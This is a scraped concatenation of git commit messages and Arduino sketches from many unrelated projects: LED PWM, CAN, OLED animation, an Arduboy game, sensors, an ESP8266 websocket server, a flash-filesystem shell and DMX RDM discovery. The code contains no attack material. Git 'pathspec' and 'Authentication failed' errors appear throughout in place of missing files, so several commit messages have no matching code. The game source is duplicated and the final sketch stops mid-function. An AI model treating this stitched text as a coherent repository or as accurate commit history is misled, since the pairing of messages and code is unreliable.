  Analog input, analog output, serial output

 Reads an analog input pin, maps the result to a range from 0 to 255
 and uses the result to set the pulsewidth modulation (PWM) of an output pin.
 Also prints the results to the serial monitor.

 The circuit:
 * potentiometer connected to analog pin 0.
   Center pin of the potentiometer goes to the analog pin.
   side pins of the potentiometer go to +5V and ground
 * LED connected from digital pin 9 to ground

 created 29 Dec. 2008
 modified 9 Apr 2012
 by Tom Igoe

 This example code is in the public domain.

 */

// These constants won't change.  They're used to give names
// to the pins used:
const int analogInPin = A0;  // Analog input pin that the potentiometer is attached to
const int analogOutPin = 9; // Analog output pin that the LED is attached to

int sensorValue = 0;        // value read from the pot
int outputValue = 0;        // value output to the PWM (analog out)

void setup() {
  // initialize serial communications at 9600 bps:
  Serial.begin(9600);
}

void loop() {
  // read the analog in value:
  sensorValue = analogRead(analogInPin);
  // map it to the range of the analog out:
  outputValue = map(sensorValue, 0, 1023, 0, 255);
  // change the analog out value:
  analogWrite(analogOutPin, outputValue);

  // print the results to the serial monitor:
  Serial.print("sensor = " );
  Serial.print(sensorValue);
  Serial.print("\t output = ");
  Serial.println(outputValue);

  // wait 2 milliseconds before the next loop
  // for the analog-to-digital converter to settle
  // after the last reading:
  delay(2);
}

error: pathspec 'APP/AnalogInOutSerial/AnalogInOutSerial.ino' did not match any file(s) known to git


Arduino Files

Arduino Files

piServo.ino

error: pathspec 'Arduino' did not match any file(s) known to git
error: pathspec 'Files/piServo.ino' did not match any file(s) known to git


move variable types into for loops

move variable types into for loops

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/kdomen/Morse-Code.git/'


Rearrange some code. Don't kill interrupts. Try to get better wind speed.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/spoollord/MyOurWeather.git/'


Arduino File

Arduino File

Addition, not required but useful to someone implementing this
framework. Also fixed a typecast error in the C#

const int R1 = 3;
const int R2 = 5;
const int R3 = 6;
const int G1 = 9;
const int G2 = 10;
const int G3 = 11;
const int led = 13;
const int AIA = 7;
const int AIB = 8;

void setup() {
    Serial.begin(9600); // set serial speed
    pinMode(led, OUTPUT);
    pinMode(AIA, OUTPUT);
    pinMode(AIB, OUTPUT);
    pinMode(R1, OUTPUT);
    pinMode(R2, OUTPUT);
    pinMode(R3, OUTPUT);
    pinMode(G1, OUTPUT);
    pinMode(G2, OUTPUT);
    pinMode(G3, OUTPUT);
    digitalWrite(led, LOW); //turn off LED
    digitalWrite(AIA, LOW);
    digitalWrite(AIB, LOW); //hold glass
}

void VoltageOn() {
    analogWrite(R1, 160);
    analogWrite(R2, 160);
    analogWrite(R3, 160);
    analogWrite(G1, 160);
    analogWrite(G2, 160);
    analogWrite(G3, 160);
}

void VoltageOff() {
    analogWrite(R1, 0);
    analogWrite(R2, 0);
    analogWrite(R3, 0);
    analogWrite(G1, 0);
    analogWrite(G2, 0);
    analogWrite(G3, 0);
}

void loop(){
    while (Serial.available() == 0); // do nothing if nothing sent
    int val = Serial.read() - '0'; // deduct ascii value of '0' to find numeric value of sent number

    switch (val)
    {
      case 0:
       VoltageOff();
       digitalWrite(led, LOW); // turn off LED
       digitalWrite(AIA, LOW); // discharge glass
       digitalWrite(AIB, LOW);
      break;
      case 1:
       VoltageOn();
       digitalWrite(led, HIGH); // turn on LED
       digitalWrite(AIA, HIGH); // charge glass
       digitalWrite(AIB, LOW);
      break;
      case 2:
       VoltageOff();
       digitalWrite(led, LOW); // turn off LED
       digitalWrite(AIA, HIGH); // discharge glass
       digitalWrite(AIB, HIGH);
      break;
      case 3:
       VoltageOn();
       digitalWrite(led, HIGH); // turn off LED
       digitalWrite(AIA, LOW); // discharge glass
       digitalWrite(AIB, HIGH);
      break;
      case 4:
       VoltageOff();
       digitalWrite(led, LOW); // turn off LED
       digitalWrite(AIA, LOW); // discharge glass
       digitalWrite(AIB, LOW);
      break;
    }
    Serial.flush(); // clear serial port
}

error: pathspec 'SerialCharge.ino' did not match any file(s) known to git


Add arduino example

Add arduino example

#include <SPI.h>
#include <mcp2515.h>

static can_message_t can_message;

void spi_transfer_mcp2515(uint8_t *buf, uint8_t len) {
  SPI.transfer(buf, len);
}

void print_can_message(can_message_t message) {
  Serial.println(message.mtype, HEX);
  Serial.println(message.std_id, DEC);
  Serial.println(message.ext_id, DEC);
  Serial.println(message.length, DEC);
}

void setup() {
  can_message = {MTYPE_EXTENDED_DATA, 5, 6, 2, {1,2}};
  pinMode(9, INPUT);

  Serial.begin(115200);
  Serial.println("Start Serial");

  delay(50);

  config_interrupts(0x03);
  config_timing(CNF1_10MHZ_125KBIT, CNF2_10MHZ_125KBIT, CNF3_10MHZ_125KBIT);
  config_receive_ctrl(0x60, 0x60);
  set_mode(MODE_LOOPBACK);
}

void loop() {
  if (!digitalRead(9)) {
    Serial.println("Interrupt");
  }
}

error: pathspec 'examples/arduino_can/arduino_can.ino' did not match any file(s) known to git


How about snowflakes, based on NanoEngine1?

/*
    MIT License

    Copyright (c) 2018, Alexey Dynda

    Permission is hereby granted, free of charge, to any person obtaining a copy
    of this software and associated documentation files (the "Software"), to deal
    in the Software without restriction, including without limitation the rights
    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the Software is
    furnished to do so, subject to the following conditions:

    The above copyright notice and this permission notice shall be included in all
    copies or substantial portions of the Software.

    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
    SOFTWARE.
*/
/**
 *   Attiny85 PINS
 *             ____
 *   RESET   -|_|  |- 3V
 *   SCL (3) -|    |- (2)
 *   SDA (4) -|    |- (1)
 *   GND     -|____|- (0)
 *
 *   Attiny85  I2C PINS: see picture above
 *   Digispark I2C PINS: D0/D2
 *   Atmega328 I2C PINS: connect LCD to A4/A5
 *   ESP8266   I2C PINS: GPIO4/GPIO5
 *   ESP32     I2C PINS: 21/22
 */

#include "ssd1306.h"
#include "nano_engine.h"

typedef struct
{
    const uint8_t * bitmap;
    int16_t x;
    int16_t y;
    int16_t speedX;
    int16_t speedY;
    uint8_t timer;
    bool    falling;
} SnowFlake;

/*
 * Define snowflake images directly in flash memory.
 * This reduces SRAM consumption.
 * The image is defined from bottom to top (bits), from left to right (bytes).
 */
const PROGMEM uint8_t snowFlakeImage[8][8] =
{
    {
        0B00111000,
        0B01010100,
        0B10010010,
        0B11111110,
        0B10010010,
        0B01010100,
        0B00111000,
        0B00000000
    },
    {
        0B00010000,
        0B01010100,
        0B00111000,
        0B11101110,
        0B00111000,
        0B01010100,
        0B00010000,
        0B00000000
    },
    {
        0B00111000,
        0B00010000,
        0B10111010,
        0B11101110,
        0B10111010,
        0B00010000,
        0B00111000,
        0B00000000
    },
    {
        0B00011000,
        0B01011010,
        0B00100100,
        0B11011011,
        0B11011011,
        0B00100100,
        0B01011010,
        0B00011000
    },
    {
        0B00010000,
        0B00111000,
        0B01010100,
        0B11101110,
        0B01010100,
        0B00111000,
        0B00010000,
        0B00000000
    },
    {
        0B10000010,
        0B00101000,
        0B01101100,
        0B00010000,
        0B01101100,
        0B00101000,
        0B10000010,
        0B00000000
    },
    {
        0B01000100,
        0B10101010,
        0B01101100,
        0B00010000,
        0B01101100,
        0B10101010,
        0B01000100,
        0B00000000
    },
    {
        0B00101000,
        0B01010100,
        0B10111010,
        0B01101100,
        0B10111010,
        0B01010100,
        0B00101000,
        0B00000000
    },
};

NanoEngine1 engine;

static const uint8_t maxCount = 16;

/* These are our snow flakes */
SnowFlake snowFlakes[maxCount] = { {0} };

bool onDraw()
{
    engine.canvas.clear();
    for (uint8_t i=0; i<maxCount; i++)
    {
        if (snowFlakes[i].falling)
        {
            engine.canvas.drawBitmap1(snowFlakes[i].x>>3, snowFlakes[i].y>>3, 8, 8,snowFlakes[i].bitmap);
        }
    }
    return true;
}

void setup()
{
    /* Do not init Wire library for Attiny controllers */
    ssd1306_128x64_i2c_init();

    engine.setFrameRate( 30 );
    engine.begin();
    engine.drawCallback( onDraw );

    engine.canvas.setMode(CANVAS_MODE_TRANSPARENT);
    engine.refresh();
}

void addSnowFlake()
{
    for (uint8_t i=0; i<maxCount; i++)
    {
        if (!snowFlakes[i].falling)
        {
            /* We found empty slot, use it for new snowflake */
            /* Create new sprite with new snowflake image. Just put it for now to fixed place */
            snowFlakes[i].bitmap = &snowFlakeImage[random(8)][0];
            /* Select horizontal position */
            snowFlakes[i].x = random(ssd1306_displayWidth() * 8);
            /* Select y position. We use number multiple of 8 to make snowflake movements more smooth. *
             * Moving snowflake by 1 point actually means movement by 1/8 of pixel on the display.     */
            snowFlakes[i].y = -8 * 8;
            /* Use some random X speed */
            snowFlakes[i].speedX = random(-16, 16);
            /* Use random vertical speed */
            snowFlakes[i].speedY = random(4, 12);
            snowFlakes[i].falling = true;
            /* After countdown timer ticks to 0, change X direction */
            snowFlakes[i].timer = random(24, 48);
            /* And register new snowflake in spritepool */
            engine.refresh( snowFlakes[i].x/8, snowFlakes[i].y/8, (snowFlakes[i].x/8) + 7, (snowFlakes[i].y/8) + 7);
            break;
        }
    }
}

void moveSnowFlakes()
{
    for (uint8_t i=0; i<maxCount; i++)
    {
        if (snowFlakes[i].falling)
        {
            engine.refresh( snowFlakes[i].x/8, snowFlakes[i].y/8, (snowFlakes[i].x/8) + 7, (snowFlakes[i].y/8) + 7);
            snowFlakes[i].x += snowFlakes[i].speedX;
            snowFlakes[i].y += snowFlakes[i].speedY;
            snowFlakes[i].timer--;
            if (0 == snowFlakes[i].timer)
            {
                /* Change movement direction */
                snowFlakes[i].speedX = random(-16, 16);
                snowFlakes[i].timer = random(24, 48);
            }
            engine.refresh( snowFlakes[i].x/8, snowFlakes[i].y/8, (snowFlakes[i].x/8) + 7, (snowFlakes[i].y/8) + 7);
            if (snowFlakes[i].y >= ssd1306_displayHeight() * 8)
            {
                snowFlakes[i].falling = false;
            }
        }
    }
}

static uint8_t globalTimer=3;

void loop()
{
    if (!engine.nextFrame()) return;
    if (0 == (--globalTimer))
    {
        /* Try to add new snowflake every ~ 90ms */
        globalTimer = 3;
        addSnowFlake();
    }
    moveSnowFlakes();
    engine.display();
}

error: pathspec 'examples/snowflakes8/snowflakes8.ino' did not match any file(s) known to git


changed the boot, so it uses less bytes

changed the boot, so it uses less bytes

/*
  Mystic Balloon: http://www.team-arg.org/mybl-manual.html

  Arduboy version 1.6:  http://www.team-arg.org/mybl-downloads.html

  MADE by TEAM a.r.g. : http://www.team-arg.org/more-about.html

  2016 - GAVENO - CastPixel -JO3RI

  Game License: MIT : https://opensource.org/licenses/MIT

*/

//determine the game
#define GAME_ID 34

#include "globals.h"
#include "menu.h"
#include "game.h"
#include "inputs.h"
#include "player.h"
#include "enemies.h"
#include "elements.h"
#include "levels.h"

typedef void (*FunctionPointer) ();

const FunctionPointer PROGMEM  mainGameLoop[] = {
  stateMenuIntro,
  stateMenuMain,
  stateMenuHelp,
  stateMenuPlaySelect,
  stateMenuInfo,
  stateMenuSoundfx,
  stateGameNextLevel,
  stateGamePlaying,
  stateGamePause,
  stateGameOver,
  stateMenuPlayContinue,
  stateMenuPlayNew,
};

void setup()
{
  arduboy.boot();                                           // begin with the boot logo en setting up the device to work
  arduboy.audio.begin();
  arduboy.bootLogoSpritesSelfMasked();
  arduboy.setFrameRate(60);                                 // set the frame rate of the game at 60 fps
  loadSetEEPROM();
}

void loop() {
  if (!(arduboy.nextFrame())) return;
  if (gameState < STATE_GAME_NEXT_LEVEL && arduboy.everyXFrames(10))sparkleFrames = (++sparkleFrames) % 5;
  arduboy.pollButtons();
  arduboy.clear();
  ((FunctionPointer) pgm_read_word (&mainGameLoop[gameState]))();
  arduboy.display();
}

/*
 Mystic Balloon: http://www.team-arg.org/mybl-manual.html

 Arduboy version 1.6:  http://www.team-arg.org/mybl-downloads.html

 MADE by TEAM a.r.g. : http://www.team-arg.org/more-about.html

 2016 - GAVENO - CastPixel -JO3RI

 Game License: MIT : https://opensource.org/licenses/MIT

 */

//determine the game
#define GAME_ID 34

#include "globals.h"
#include "menu.h"
#include "game.h"
#include "inputs.h"
#include "player.h"
#include "enemies.h"
#include "elements.h"
#include "levels.h"

typedef void (*FunctionPointer) ();

const FunctionPointer PROGMEM  mainGameLoop[] = {
  stateMenuIntro,
  stateMenuMain,
  stateMenuHelp,
  stateMenuPlaySelect,
  stateMenuInfo,
  stateMenuSoundfx,
  stateGameNextLevel,
  stateGamePlaying,
  stateGamePause,
  stateGameOver,
  stateMenuPlayContinue,
  stateMenuPlayNew,
};

void setup()
{
  arduboy.begin();
  arduboy.setFrameRate(60);                                 // set the frame rate of the game at 60 fps
  loadSetEEPROM();
}

void loop() {
  if (!(arduboy.nextFrame())) return;
  if (gameState < STATE_GAME_NEXT_LEVEL && arduboy.everyXFrames(10))sparkleFrames = (++sparkleFrames) % 5;
  arduboy.pollButtons();
  arduboy.clear();
  ((FunctionPointer) pgm_read_word (&mainGameLoop[gameState]))();
  arduboy.display();
}


arduino code

arduino code

#include <OneWire.h>

// OneWire DS18S20, DS18B20, DS1822 Temperature Example
//
// http://www.pjrc.com/teensy/td_libs_OneWire.html
//
// The DallasTemperature library can do all this work for you!
// http://milesburton.com/Dallas_Temperature_Control_Library

#define WATER_SENSOR A0
OneWire  ds(3);  // on pin 10 (a 4.7K resistor is necessary)

void setup(void) {
  Serial.begin(9600);
  pinMode(WATER_SENSOR, INPUT);
}

void loop(void) {
  byte i;
  byte present = 0;
  byte type_s;
  byte data[12];
  byte addr[8];
  float celsius, fahrenheit;
  bool water;
  while(Serial.available() == 0);

  char incomingByte = (char)Serial.read();
  Serial.println(incomingByte);

  switch(incomingByte){

    case('0'): {
      if ( !ds.search(addr)) {
      //Serial.println("No more addresses.");
      //Serial.println();
        ds.reset_search();
        delay(250);
      }
      //Serial.print("ROM =");
      for( i = 0; i < 8; i++) {
       // Serial.write(' ');
        //Serial.print(addr[i], HEX);
      }

      if (OneWire::crc8(addr, 7) != addr[7]) {
          Serial.println("bad-2");
          return;
      }
      //Serial.println();

      // the first ROM byte indicates which chip
      switch (addr[0]) {
        case 0x10:
          //Serial.println("  Chip = DS18S20");  // or old DS1820
          type_s = 1;
          break;
        case 0x28:
          //Serial.println("  Chip = DS18B20");
          type_s = 0;
          break;
        case 0x22:
          //Serial.println("  Chip = DS1822");
          type_s = 0;
          break;
        default:
          //Serial.println("Device is not a DS18x20 family device.");
          return;
      }

      ds.reset();
      ds.select(addr);
      ds.write(0x44, 1);        // start conversion, with parasite power on at the end

      //delay(1000);     // maybe 750ms is enough, maybe not
      // we might do a ds.depower() here, but the reset will take care of it.

      present = ds.reset();
      ds.select(addr);
      ds.write(0xBE);         // Read Scratchpad

      //Serial.print("  Data = ");
      //Serial.print(present, HEX);
      //Serial.print(" ");
      for ( i = 0; i < 9; i++) {           // we need 9 bytes
        data[i] = ds.read();
        //Serial.print(data[i], HEX);
        //Serial.print(" ");
      }
      //Serial.print(" CRC=");
      //Serial.print(OneWire::crc8(data, 8), HEX);
      //Serial.println();

      // Convert the data to actual temperature
      // because the result is a 16 bit signed integer, it should
      // be stored to an "int16_t" type, which is always 16 bits
      // even when compiled on a 32 bit processor.
      int16_t raw = (data[1] << 8) | data[0];
      if (type_s) {
        raw = raw << 3; // 9 bit resolution default
        if (data[7] == 0x10) {
          // "count remain" gives full 12 bit resolution
          raw = (raw & 0xFFF0) + 12 - data[6];
        }
      } else {
        byte cfg = (data[4] & 0x60);
        // at lower res, the low bits are undefined, so let's zero them
        if (cfg == 0x00) raw = raw & ~7;  // 9 bit resolution, 93.75 ms
        else if (cfg == 0x20) raw = raw & ~3; // 10 bit res, 187.5 ms
        else if (cfg == 0x40) raw = raw & ~1; // 11 bit res, 375 ms
        //// default is 12 bit resolution, 750 ms conversion time
      }
      celsius = (float)raw / 16.0;
      fahrenheit = celsius * 1.8 + 32.0;
      Serial.println(fahrenheit);
      break;
    }
    case('1'): {
      if(analogRead(WATER_SENSOR) < 200) {
        water = true;
        Serial.println("True");
      }
      else {
        water = false;
        Serial.println("False");
      }
      break;
    }

  }
}

error: pathspec 'Arduino/Development/sketch_nov16a/sketch_nov16a.ino' did not match any file(s) known to git


fixed everything

fixed everything

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/ocean-x/erikson-1.git/'


add WebSocketServerAllFunctionsDemo (WIP)

/*
 * WebSocketServerAllFunctionsDemo.ino
 *
 *  Created on: 10.05.2018
 *
 */

#include <Arduino.h>

#include <ESP8266WiFi.h>
#include <ESP8266WiFiMulti.h>
#include <WebSocketsServer.h>
#include <ESP8266WebServer.h>
#include <ESP8266mDNS.h>
#include <Hash.h>

#define LED_RED     15
#define LED_GREEN   12
#define LED_BLUE    13

#define USE_SERIAL Serial

ESP8266WiFiMulti WiFiMulti;

ESP8266WebServer server(80);
WebSocketsServer webSocket = WebSocketsServer(81);

void webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t length) {

    switch(type) {
        case WStype_DISCONNECTED:
            USE_SERIAL.printf("[%u] Disconnected!\n", num);
            break;
        case WStype_CONNECTED: {
            IPAddress ip = webSocket.remoteIP(num);
            USE_SERIAL.printf("[%u] Connected from %d.%d.%d.%d url: %s\n", num, ip[0], ip[1], ip[2], ip[3], payload);

            // send message to client
            webSocket.sendTXT(num, "Connected");
        }
            break;
        case WStype_TEXT:
            USE_SERIAL.printf("[%u] get Text: %s\n", num, payload);

            if(payload[0] == '#') {
                // we get RGB data

                // decode rgb data
                uint32_t rgb = (uint32_t) strtol((const char *) &payload[1], NULL, 16);

                analogWrite(LED_RED,    ((rgb >> 16) & 0xFF));
                analogWrite(LED_GREEN,  ((rgb >> 8) & 0xFF));
                analogWrite(LED_BLUE,   ((rgb >> 0) & 0xFF));
            }

            break;
    }

}

void setup() {
    //USE_SERIAL.begin(921600);
    USE_SERIAL.begin(115200);

    //USE_SERIAL.setDebugOutput(true);

    USE_SERIAL.println();
    USE_SERIAL.println();
    USE_SERIAL.println();

    for(uint8_t t = 4; t > 0; t--) {
        USE_SERIAL.printf("[SETUP] BOOT WAIT %d...\n", t);
        USE_SERIAL.flush();
        delay(1000);
    }

    pinMode(LED_RED, OUTPUT);
    pinMode(LED_GREEN, OUTPUT);
    pinMode(LED_BLUE, OUTPUT);

    digitalWrite(LED_RED, 1);
    digitalWrite(LED_GREEN, 1);
    digitalWrite(LED_BLUE, 1);

    WiFiMulti.addAP("SSID", "passpasspass");

    while(WiFiMulti.run() != WL_CONNECTED) {
        delay(100);
    }

    // start webSocket server
    webSocket.begin();
    webSocket.onEvent(webSocketEvent);

    if(MDNS.begin("esp8266")) {
        USE_SERIAL.println("MDNS responder started");
    }

    // handle index
    server.on("/", []() {
        // send index.html
        server.send(200, "text/html", "LED Control:

R: <input id=\"r\" type=\"range\" min=\"0\" max=\"255\" step=\"1\" oninput=\"sendRGB();\" />
G: <input id=\"g\" type=\"range\" min=\"0\" max=\"255\" step=\"1\" oninput=\"sendRGB();\" />
B: <input id=\"b\" type=\"range\" min=\"0\" max=\"255\" step=\"1\" oninput=\"sendRGB();\" />
");
    });

    server.begin();

    // Add service to MDNS
    MDNS.addService("http", "tcp", 80);
    MDNS.addService("ws", "tcp", 81);

    digitalWrite(LED_RED, 0);
    digitalWrite(LED_GREEN, 0);
    digitalWrite(LED_BLUE, 0);

}

unsigned long last_10sec = 0;
unsigned int counter = 0;

void loop() {
	unsigned long t = millis();
	webSocket.loop();
	server.handleClient();

	if((t - last_10sec) > 10 * 1000) {
		counter++;
		bool ping = (counter % 2);
		int i = webSocket.connectedClients(ping);
		USE_SERIAL.printf("%d Connected websocket clients ping: %d", i, ping);
		last_10sec = millis();
	}
}

error: pathspec 'examples/esp8266/WebSocketServerAllFunctionsDemo/WebSocketServerAllFunctionsDemo.ino' did not match any file(s) known to git


Adding a tiny shell for CFFS; cat, cd, echo, ls, od, time.

/**
 * @file CosaCFFSshell.ino
 * @version 1.0
 *
 * @section License
 * Copyright (C) 2014, Mikael Patel
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * @section Description
 * Tiny command shell to demonstration the S25FL127S SPI Flash Memory
 * device driver and file system.
 *
 * This file is part of the Arduino Che Cosa project.
 */

#include "Cosa/FS/CFFS.hh"
#include "Cosa/Time.hh"
#include "Cosa/IOStream/Driver/UART.hh"
#include "Cosa/Watchdog.hh"
#include "Cosa/RTC.hh"

#if defined(ANARDUINO_MINIWIRELESS)
OutputPin rf_cs(Board::D10, 1);
#endif

S25FL127S flash;
IOStream cout;

void setup()
{
  Watchdog::begin();
  RTC::begin();
  uart.begin(9600);
  uart.set_blocking(SLEEP_MODE_IDLE);
  cout.set_device(&uart);
  flash.begin();
  CFFS::begin(&flash);
}

void loop()
{
  static bool echo = false;
  const size_t BUF_MAX = 256;
  char buf[BUF_MAX];
  char* filename;
  int res = 0;

  cout << PSTR("arduino:$ ");
  if (uart.gets(buf, sizeof(buf)) == NULL) return;
  if (echo) cout << buf << endl;

  if (strncmp_P(buf, PSTR("cat"), 3) == 0) {
    CFFS::File file;
    filename = buf + 4;
    res = file.open(filename, O_READ);
    if (res == 0) {
      IOStream::Device* dev = cout.get_device();
      int res;
      while ((res = file.read(buf, sizeof(buf))) > 0)
	dev->write(buf, res);
    }
    else {
      cout << PSTR("cat");
    }
  }

  else if (strncmp_P(buf, PSTR("cd"), 2) == 0) {
    filename = buf + 3;
    res = CFFS::cd(filename);
    if (res != 0) {
      cout << PSTR("cd");
    }
  }

  else if (strncmp_P(buf, PSTR("echo"), 4) == 0) {
    echo = strcmp_P(buf + 5, PSTR("off"));
  }

  else if (strcmp_P(buf, PSTR("ls")) == 0) {
    CFFS::ls(cout);
  }

  else if (strncmp_P(buf, PSTR("od"), 2) == 0) {
    CFFS::File file;
    filename = buf + 3;
    res = file.open(filename, O_READ);
    if (res == 0) {
      while (file.read(buf, sizeof(buf)) > 0)
	cout.print(buf, sizeof(buf), IOStream::hex, 128 + 16);
    }
    else {
      cout << PSTR("od");
    }
  }
  else if (strcmp_P(buf, PSTR("time")) == 0) {
    time_t now(RTC::seconds());
    cout << now << endl;
  }

  if (res == 0) return;
  cout << PSTR(": ") << filename << PSTR(": No such file or directory") << endl;
}

error: pathspec 'examples/Sandbox/CosaCFFSshell/CosaCFFSshell.ino' did not match any file(s) known to git


Added Sequencer example

Added Sequencer example

#define V 32
#define LED 5
#define POT 0
#define GATEOUT 13

byte bpm = 120;
int stepTime;
byte curStep = 0;
int playhead = 1;
byte dur[] = {50, 50, 50, 50};
byte numSteps = 4;

void setup(){
  stepTime = 60000.f / bpm;
  pinMode(LED, OUTPUT);
  pinMode(13, OUTPUT);
}

void loop(){
  runSequence();
  delayMicroseconds(750); // in a genuine Arduino with a 16MHz crystal oscillator the delay should be 1ms
  // but on fake Arduinos with 12MHz oscillator the delay should be 0.75ms to have an accurrate clock running once every millisecond
}

void runSequence(){
  playhead++;
  if(playhead > numSteps * stepTime) playhead = 1; // reset playhead
  curStep = playhead / stepTime; // increment current step
  // Gate CV output
 if(playhead % stepTime < stepTime * dur[curStep] / 100.f){
   digitalWrite(GATEOUT, HIGH);
   analogWrite(curStep+LED, 255-V);
 }
 else{
   digitalWrite(GATEOUT, LOW);
   analogWrite(curStep+LED, 255-LOW);
 }

 dur[0] = analogRead(0) / 1024.f * 100;
}

error: pathspec 'examples/Sequencer_example/Sequencer_example.ino' did not match any file(s) known to git


update examples for rdm

update examples for rdm

/**************************************************************************/
/*!
    @file     rdmTest.ino
    @author   Claude Heintz
    @license  BSD (see LXTeensy3DMX LICENSE)
    @copyright 2017 by Claude Heintz

        Test of LXTeensy3DMX RDM functions
        Changes output level of some DMX Addresses while building RDM
        table of devices.  Turns identify on and off for found RDM devices.

    @section  HISTORY

    v1.00 - First release
*/
/**************************************************************************/

#include <LXTeensy3DMX.h>
#include <rdm/rdm_utility.h>
#include <rdm/UID.h>
#include <rdm/TOD.h>

uint8_t testLevel = 0;
uint8_t loopDivider = 0;
uint8_t identifyFlag = 1;
uint8_t tableChangedFlag = 0;

TOD tableOfDevices;
TOD discoveryTree;

UID lower(0,0,0,0,0,0);
UID upper(0,0,0,0,0,0);
UID mid(0,0,0,0,0,0);
UID found(0,0,0,0,0,0);

#define DIRECTION_PIN 3
#define DISC_STATE_SEARCH 0
#define DISC_STATE_TBL_CK 1
uint8_t discovery_state = DISC_STATE_TBL_CK;
uint8_t discovery_tbl_ck_index = 0;

//***************** discovery functions

void checkDeviceFound(UID found) {
  if ( testMute(found) ) {
    tableOfDevices.add(found);
    tableChangedFlag = 1;
  }
}

uint8_t testMute(UID u) {
   // try three times to get response when sending a mute message
   if ( Teensy3DMX.sendRDMDiscoveryMute(u, RDM_DISC_MUTE) ) {
     return 1;
   }
   if ( Teensy3DMX.sendRDMDiscoveryMute(u, RDM_DISC_MUTE) ) {
     return 1;
   }
   if ( Teensy3DMX.sendRDMDiscoveryMute(u, RDM_DISC_MUTE) ) {
     return 1;
   }
   return 0;
}

uint8_t checkTable(uint8_t ck_index) {
  if ( ck_index == 0 ) {
    Teensy3DMX.sendRDMDiscoveryMute(BROADCAST_ALL_DEVICES_ID, RDM_DISC_UNMUTE);
  }

  if ( tableOfDevices.getUIDAt(ck_index, &found) )  {
    if ( testMute(found) ) {
      // device confirmed
      return ck_index += 6;
    }

    // device not found
    tableOfDevices.removeUIDAt(ck_index);
    tableChangedFlag = 1;
    return ck_index;
  }
  // index invalid
  return 0;
}

void identifyEach() {
  int i = 0;
  uint8_t notDone = 1;
  while ( notDone ) {
    i = tableOfDevices.getNextUID(i, &found);
    if ( i < 0 ) {
      notDone = 0;
    } else {
      //uint16_t data;  //for DMX address and identify device on/off
      uint8_t data[2];
      if ( Teensy3DMX.sendRDMGetCommand(found, RDM_DEVICE_START_ADDR, data, 2) ) {
        uint16_t addr = (data[0] << 8) | data[1];

        if ( addr == 0x0F ) {
          data[0] = 0x00;
          data[1] = 0x01;
          Teensy3DMX.sendRDMSetCommand(found, RDM_DEVICE_START_ADDR, (uint8_t*)data, 2);
        }

        data[0] = 0x01;
        Teensy3DMX.sendRDMSetCommand(found, RDM_IDENTIFY_DEVICE, (uint8_t*)data, 1);
        delay(2000);
        data[0] = 0x00;
        Teensy3DMX.sendRDMSetCommand(found, RDM_IDENTIFY_DEVICE, (uint8_t*)data, 1);
      }
    }
  }
}

//called when range responded, so divide into sub ranges push them on stack to be further checked
void pushActiveBranch(UID lower, UID upper) {
  if ( mid.becomeMidpoint(lower, upper) ) {
    discoveryTree.push(lower);
    discoveryTree.push(mid);
    discoveryTree.push(mid);
    discoveryTree.push(upper);
  } else {
    // No midpoint possible:  lower and upper are equal or a 1 apart
    checkDeviceFound(lower);
    checkDeviceFound(upper);
  }
}

void pushInitialBranch() {
  lower.setBytes(0);
  upper.setBytes(BROADCAST_ALL_DEVICES_ID);
  discoveryTree.push(lower);
  discoveryTree.push(upper);

  //ETC devices seem to only respond with wildcard or exact manufacturer ID
  lower.setBytes(0x657400000000);
  upper.setBytes(0x6574FFFFFFFF);
  discoveryTree.push(lower);
  discoveryTree.push(upper);
}

uint8_t checkNextRange() {
  if ( discoveryTree.pop(&upper) ) {
    if ( discoveryTree.pop(&lower) ) {
      if ( lower == upper ) {
        checkDeviceFound(lower);
      } else {        //not leaf so, check range lower->upper
        uint8_t result = Teensy3DMX.sendRDMDiscoveryPacket(lower, upper, &found);
        if ( result ) {
          //this range responded, so divide into sub ranges push them on stack to be further checked
          pushActiveBranch(lower, upper);

        } else if ( Teensy3DMX.sendRDMDiscoveryPacket(lower, upper, &found) ) {
            pushActiveBranch(lower, upper); //if discovery fails, try a second time
        }
      }         // end check range
      return 1; // UID ranges may be remaining to test
    }           // end valid pop
  }             // end valid pop
  return 0;     // none left to pop
}

void testRDMDiscovery() {
  if ( discovery_state ) {
    // check the table of devices
    discovery_tbl_ck_index = checkTable(discovery_tbl_ck_index);
    if ( discovery_tbl_ck_index == 0 ) {
      // done with table check
      discovery_state = DISC_STATE_SEARCH;
      pushInitialBranch();

      if ( identifyFlag ) {   //once per cycle identify each device
        identifyEach();       //this is just to demonstrate GET device address
        identifyFlag = 0;     //and SET identify device
      }

      //if ( tableChangedFlag ) {   //if the table has changed...
        tableChangedFlag = 0;

        // if this were an Art-Net application, you would send an
        // ArtTOD packet here, because the device table has changed.
        // for this test, we just print the list of devices
         Serial.println("_______________ Table Of Devices _______________");
         tableOfDevices.printTOD();
      //}
    }
  } else {    // search for devices in range popped from discoveryTree
